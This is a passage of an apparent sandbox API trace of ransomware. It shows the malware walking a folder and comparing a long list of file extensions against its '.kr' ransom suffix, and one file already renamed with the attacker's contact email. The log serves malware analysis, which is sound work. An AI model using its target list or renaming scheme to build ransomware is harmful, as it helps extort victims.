[0088.307] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0088.307] lstrlenW (lpString=".c") returned 2 [0088.307] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0088.307] lstrlenW (lpString=".cdr") returned 4 [0088.307] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0088.307] lstrlenW (lpString=".cer") returned 4 [0088.308] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0088.308] lstrlenW (lpString=".cf") returned 3 [0088.308] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0088.308] lstrlenW (lpString=".cfc") returned 4 [0088.308] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0088.308] lstrlenW (lpString=".cfm") returned 4 [0088.308] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0088.308] lstrlenW (lpString=".cfml") returned 5 [0088.308] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0088.308] lstrlenW (lpString=".cfu") returned 4 [0088.308] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0088.308] lstrlenW (lpString=".chm") returned 4 [0088.308] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0088.308] lstrlenW (lpString=".cin") returned 4 [0088.308] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0088.308] lstrlenW (lpString=".class") returned 6 [0088.308] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0088.308] lstrlenW (lpString=".clx") returned 4 [0088.308] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0088.308] lstrlenW (lpString=".config") returned 7 [0088.308] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0088.308] lstrlenW (lpString=".cpp") returned 4 [0088.308] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0088.308] lstrlenW (lpString=".cr2") returned 4 [0088.309] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0088.309] lstrlenW (lpString=".crt") returned 4 [0088.309] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0088.309] lstrlenW (lpString=".crw") returned 4 [0088.309] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0088.309] lstrlenW (lpString=".cs") returned 3 [0088.309] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0088.309] lstrlenW (lpString=".css") returned 4 [0088.309] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0088.309] lstrlenW (lpString=".csv") returned 4 [0088.309] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0088.309] lstrlenW (lpString=".cub") returned 4 [0088.309] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0088.309] lstrlenW (lpString=".dae") returned 4 [0088.309] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0088.309] lstrlenW (lpString=".dat") returned 4 [0088.309] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0088.309] lstrlenW (lpString=".db") returned 3 [0088.309] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0088.309] lstrlenW (lpString=".dbf") returned 4 [0088.309] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0088.309] lstrlenW (lpString=".dbx") returned 4 [0088.309] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0088.309] lstrlenW (lpString=".dc3") returned 4 [0088.309] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0088.309] lstrlenW (lpString=".dcm") returned 4 [0088.310] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0088.310] lstrlenW (lpString=".dcr") returned 4 [0088.310] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0088.310] lstrlenW (lpString=".der") returned 4 [0088.310] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0088.310] lstrlenW (lpString=".dib") returned 4 [0088.310] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0088.310] lstrlenW (lpString=".dic") returned 4 [0088.310] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0088.310] lstrlenW (lpString=".dif") returned 4 [0088.310] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0088.310] lstrlenW (lpString=".divx") returned 5 [0088.310] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0088.310] lstrlenW (lpString=".djvu") returned 5 [0088.310] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0088.310] lstrlenW (lpString=".dng") returned 4 [0088.310] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0088.310] lstrlenW (lpString=".doc") returned 4 [0088.310] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0088.310] lstrlenW (lpString=".docm") returned 5 [0088.310] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0088.310] lstrlenW (lpString=".docx") returned 5 [0088.310] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0088.310] lstrlenW (lpString=".dot") returned 4 [0088.310] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0088.310] lstrlenW (lpString=".dotm") returned 5 [0088.311] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0088.311] lstrlenW (lpString=".dotx") returned 5 [0088.311] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0088.311] lstrlenW (lpString=".dpx") returned 4 [0088.311] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0088.311] lstrlenW (lpString=".dqy") returned 4 [0088.311] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0088.311] lstrlenW (lpString=".dsn") returned 4 [0088.311] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0088.311] lstrlenW (lpString=".dt") returned 3 [0088.311] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0088.311] lstrlenW (lpString=".dtd") returned 4 [0088.311] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0088.311] lstrlenW (lpString=".dwg") returned 4 [0088.311] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0088.311] lstrlenW (lpString=".dwt") returned 4 [0088.311] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0088.311] lstrlenW (lpString=".dx") returned 3 [0088.311] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0088.311] lstrlenW (lpString=".dxf") returned 4 [0088.311] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0088.311] lstrlenW (lpString=".edml") returned 5 [0088.311] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0088.311] lstrlenW (lpString=".efd") returned 4 [0088.312] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0088.312] lstrlenW (lpString=".elf") returned 4 [0088.312] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0088.312] lstrlenW (lpString=".emf") returned 4 [0088.312] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0088.312] lstrlenW (lpString=".emz") returned 4 [0088.312] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0088.312] lstrlenW (lpString=".epf") returned 4 [0088.312] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0088.312] lstrlenW (lpString=".eps") returned 4 [0088.312] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0088.312] lstrlenW (lpString=".epsf") returned 5 [0088.312] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0088.312] lstrlenW (lpString=".epsp") returned 5 [0088.312] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0088.312] lstrlenW (lpString=".erf") returned 4 [0088.312] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0088.312] lstrlenW (lpString=".exr") returned 4 [0088.312] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0088.312] lstrlenW (lpString=".f4v") returned 4 [0088.312] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0088.312] lstrlenW (lpString=".fido") returned 5 [0088.312] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0088.312] lstrlenW (lpString=".flm") returned 4 [0088.312] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0088.312] lstrlenW (lpString=".flv") returned 4 [0088.313] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0088.313] lstrlenW (lpString=".frm") returned 4 [0088.313] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0088.313] lstrlenW (lpString=".fxg") returned 4 [0088.313] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0088.313] lstrlenW (lpString=".geo") returned 4 [0088.313] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0088.313] lstrlenW (lpString=".gif") returned 4 [0088.313] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0088.313] lstrlenW (lpString=".grs") returned 4 [0088.313] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0088.313] lstrlenW (lpString=".gz") returned 3 [0088.313] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0088.313] lstrlenW (lpString=".h") returned 2 [0088.313] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0088.313] lstrlenW (lpString=".hdr") returned 4 [0088.313] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0088.313] lstrlenW (lpString=".hpp") returned 4 [0088.313] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0088.313] lstrlenW (lpString=".hta") returned 4 [0088.313] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0088.313] lstrlenW (lpString=".htc") returned 4 [0088.313] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0088.313] lstrlenW (lpString=".htm") returned 4 [0088.313] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0088.313] lstrlenW (lpString=".html") returned 5 [0088.314] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0088.314] lstrlenW (lpString=".icb") returned 4 [0088.314] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0088.314] lstrlenW (lpString=".ics") returned 4 [0088.314] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0088.314] lstrlenW (lpString=".iff") returned 4 [0088.314] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0088.314] lstrlenW (lpString=".inc") returned 4 [0088.314] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0088.314] lstrlenW (lpString=".indd") returned 5 [0088.314] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0088.314] lstrlenW (lpString=".ini") returned 4 [0088.314] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0088.314] lstrlenW (lpString=".iqy") returned 4 [0088.314] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0088.314] lstrlenW (lpString=".j2c") returned 4 [0088.314] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0088.314] lstrlenW (lpString=".j2k") returned 4 [0088.314] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0088.314] lstrlenW (lpString=".java") returned 5 [0088.314] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0088.314] lstrlenW (lpString=".jp2") returned 4 [0088.314] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0088.314] lstrlenW (lpString=".jpc") returned 4 [0088.314] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0088.315] lstrlenW (lpString=".jpe") returned 4 [0088.315] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0088.315] lstrlenW (lpString=".jpeg") returned 5 [0088.315] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0088.315] lstrlenW (lpString=".jpf") returned 4 [0088.315] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0088.315] lstrlenW (lpString=".jpg") returned 4 [0088.315] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0088.315] lstrlenW (lpString=".jpx") returned 4 [0088.315] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0088.315] lstrlenW (lpString=".js") returned 3 [0088.315] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0088.315] lstrlenW (lpString=".jsf") returned 4 [0088.315] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0088.315] lstrlenW (lpString=".json") returned 5 [0088.315] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0088.315] lstrlenW (lpString=".jsp") returned 4 [0088.315] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0088.315] lstrlenW (lpString=".kdc") returned 4 [0088.315] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0088.315] lstrlenW (lpString=".kmz") returned 4 [0088.315] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0088.315] lstrlenW (lpString=".kwm") returned 4 [0088.315] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0088.315] lstrlenW (lpString=".lasso") returned 6 [0088.315] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0088.315] lstrlenW (lpString=".lbi") returned 4 [0088.316] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0088.316] lstrlenW (lpString=".lgf") returned 4 [0088.316] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0088.316] lstrlenW (lpString=".lgp") returned 4 [0088.316] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0088.316] lstrlenW (lpString=".log") returned 4 [0088.316] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0088.316] lstrlenW (lpString=".m1v") returned 4 [0088.316] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0088.316] lstrlenW (lpString=".m4a") returned 4 [0088.316] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0088.316] lstrlenW (lpString=".m4v") returned 4 [0088.316] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0088.316] lstrlenW (lpString=".max") returned 4 [0088.316] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0088.316] lstrlenW (lpString=".md") returned 3 [0088.316] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0088.316] lstrlenW (lpString=".mda") returned 4 [0088.316] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0088.316] lstrlenW (lpString=".mdb") returned 4 [0088.316] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0088.316] lstrlenW (lpString=".mde") returned 4 [0088.316] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0088.316] lstrlenW (lpString=".mdf") returned 4 [0088.316] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0088.316] lstrlenW (lpString=".mdw") returned 4 [0088.316] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0088.317] lstrlenW (lpString=".mef") returned 4 [0088.317] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0088.317] lstrlenW (lpString=".mft") returned 4 [0088.317] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0088.317] lstrlenW (lpString=".mfw") returned 4 [0088.317] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0088.317] lstrlenW (lpString=".mht") returned 4 [0088.317] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0088.317] lstrlenW (lpString=".mhtml") returned 6 [0088.317] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0088.317] lstrlenW (lpString=".mka") returned 4 [0088.317] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0088.317] lstrlenW (lpString=".mkidx") returned 6 [0088.317] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0088.317] lstrlenW (lpString=".mkv") returned 4 [0088.317] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0088.317] lstrlenW (lpString=".mos") returned 4 [0088.317] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0088.317] lstrlenW (lpString=".mov") returned 4 [0088.317] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0088.317] lstrlenW (lpString=".mp3") returned 4 [0088.317] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0088.317] lstrlenW (lpString=".mp4") returned 4 [0088.317] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0088.317] lstrlenW (lpString=".mpeg") returned 5 [0088.317] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0088.318] lstrlenW (lpString=".mpg") returned 4 [0088.318] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0088.318] lstrlenW (lpString=".mpv") returned 4 [0088.318] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0088.318] lstrlenW (lpString=".mrw") returned 4 [0088.318] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0088.318] lstrlenW (lpString=".msg") returned 4 [0088.318] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0088.318] lstrlenW (lpString=".mxl") returned 4 [0088.318] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0088.318] lstrlenW (lpString=".myd") returned 4 [0088.318] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0088.318] lstrlenW (lpString=".myi") returned 4 [0088.318] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0088.318] lstrlenW (lpString=".nef") returned 4 [0088.318] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0088.318] lstrlenW (lpString=".nrw") returned 4 [0088.318] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0088.318] lstrlenW (lpString=".obj") returned 4 [0088.318] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0088.318] lstrlenW (lpString=".odb") returned 4 [0088.318] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0088.318] lstrlenW (lpString=".odc") returned 4 [0088.318] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0088.318] lstrlenW (lpString=".odm") returned 4 [0088.319] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0088.319] lstrlenW (lpString=".odp") returned 4 [0088.319] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0088.319] lstrlenW (lpString=".ods") returned 4 [0088.319] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0088.319] lstrlenW (lpString=".oft") returned 4 [0088.439] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0088.439] lstrlenW (lpString=".one") returned 4 [0088.440] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0088.440] lstrlenW (lpString=".onepkg") returned 7 [0088.440] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0088.440] lstrlenW (lpString=".onetoc2") returned 8 [0088.440] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0088.440] lstrlenW (lpString=".opt") returned 4 [0088.440] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0088.440] lstrlenW (lpString=".oqy") returned 4 [0088.440] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0088.440] lstrlenW (lpString=".orf") returned 4 [0088.440] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0088.440] lstrlenW (lpString=".p12") returned 4 [0088.440] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0088.440] lstrlenW (lpString=".p7b") returned 4 [0088.440] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0088.440] lstrlenW (lpString=".p7c") returned 4 [0088.440] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0088.440] lstrlenW (lpString=".pam") returned 4 [0088.440] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0088.440] lstrlenW (lpString=".pbm") returned 4 [0088.440] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0088.440] lstrlenW (lpString=".pct") returned 4 [0088.440] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0088.440] lstrlenW (lpString=".pcx") returned 4 [0088.440] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0088.441] lstrlenW (lpString=".pdd") returned 4 [0088.441] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0088.441] lstrlenW (lpString=".pdf") returned 4 [0088.441] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0088.441] lstrlenW (lpString=".pdp") returned 4 [0088.441] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0088.441] lstrlenW (lpString=".pef") returned 4 [0088.441] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0088.441] lstrlenW (lpString=".pem") returned 4 [0088.441] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0088.441] lstrlenW (lpString=".pff") returned 4 [0088.441] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0088.441] lstrlenW (lpString=".pfm") returned 4 [0088.441] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0088.441] lstrlenW (lpString=".pfx") returned 4 [0088.441] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0088.441] lstrlenW (lpString=".pgm") returned 4 [0088.441] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0088.441] lstrlenW (lpString=".php") returned 4 [0088.441] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0088.441] lstrlenW (lpString=".php3") returned 5 [0088.441] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0088.441] lstrlenW (lpString=".php4") returned 5 [0088.441] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0088.441] lstrlenW (lpString=".php5") returned 5 [0088.441] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0088.442] lstrlenW (lpString=".phtml") returned 6 [0088.442] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0088.442] lstrlenW (lpString=".pict") returned 5 [0088.442] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0088.442] lstrlenW (lpString=".pl") returned 3 [0088.442] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0088.442] lstrlenW (lpString=".pls") returned 4 [0088.442] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0088.442] lstrlenW (lpString=".pm") returned 3 [0088.442] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0088.442] lstrlenW (lpString=".png") returned 4 [0088.442] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0088.442] lstrlenW (lpString=".pnm") returned 4 [0088.442] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0088.442] lstrlenW (lpString=".pot") returned 4 [0088.442] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0088.442] lstrlenW (lpString=".potm") returned 5 [0088.442] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0088.442] lstrlenW (lpString=".potx") returned 5 [0088.442] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0088.442] lstrlenW (lpString=".ppa") returned 4 [0088.442] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0088.442] lstrlenW (lpString=".ppam") returned 5 [0088.442] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0088.442] lstrlenW (lpString=".ppm") returned 4 [0088.442] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0088.443] lstrlenW (lpString=".pps") returned 4 [0088.443] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0088.443] lstrlenW (lpString=".ppsm") returned 5 [0088.443] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0088.443] lstrlenW (lpString=".ppt") returned 4 [0088.443] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0088.443] lstrlenW (lpString=".pptm") returned 5 [0088.443] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0088.443] lstrlenW (lpString=".pptx") returned 5 [0088.443] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0088.443] lstrlenW (lpString=".prn") returned 4 [0088.443] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0088.443] lstrlenW (lpString=".ps") returned 3 [0088.443] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0088.443] lstrlenW (lpString=".psb") returned 4 [0088.443] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0088.443] lstrlenW (lpString=".psd") returned 4 [0088.443] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0088.443] lstrlenW (lpString=".pst") returned 4 [0088.443] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0088.443] lstrlenW (lpString=".ptx") returned 4 [0088.443] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0088.443] lstrlenW (lpString=".pub") returned 4 [0088.443] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0088.443] lstrlenW (lpString=".pwm") returned 4 [0088.443] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0088.444] lstrlenW (lpString=".pxr") returned 4 [0088.444] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0088.444] lstrlenW (lpString=".py") returned 3 [0088.444] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0088.444] lstrlenW (lpString=".qt") returned 3 [0088.444] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0088.444] lstrlenW (lpString=".r3d") returned 4 [0088.444] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0088.444] lstrlenW (lpString=".raf") returned 4 [0088.444] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0088.444] lstrlenW (lpString=".rar") returned 4 [0088.444] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0088.444] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc73c8d47, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc73c8d47, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77f4f5a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0088.444] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.445] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.445] FindClose (in: hFindFile=0x4260190 | out: hFindFile=0x4260190) returned 1 [0088.445] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0088.445] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0088.445] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0088.445] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082") returned 26 [0088.445] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, 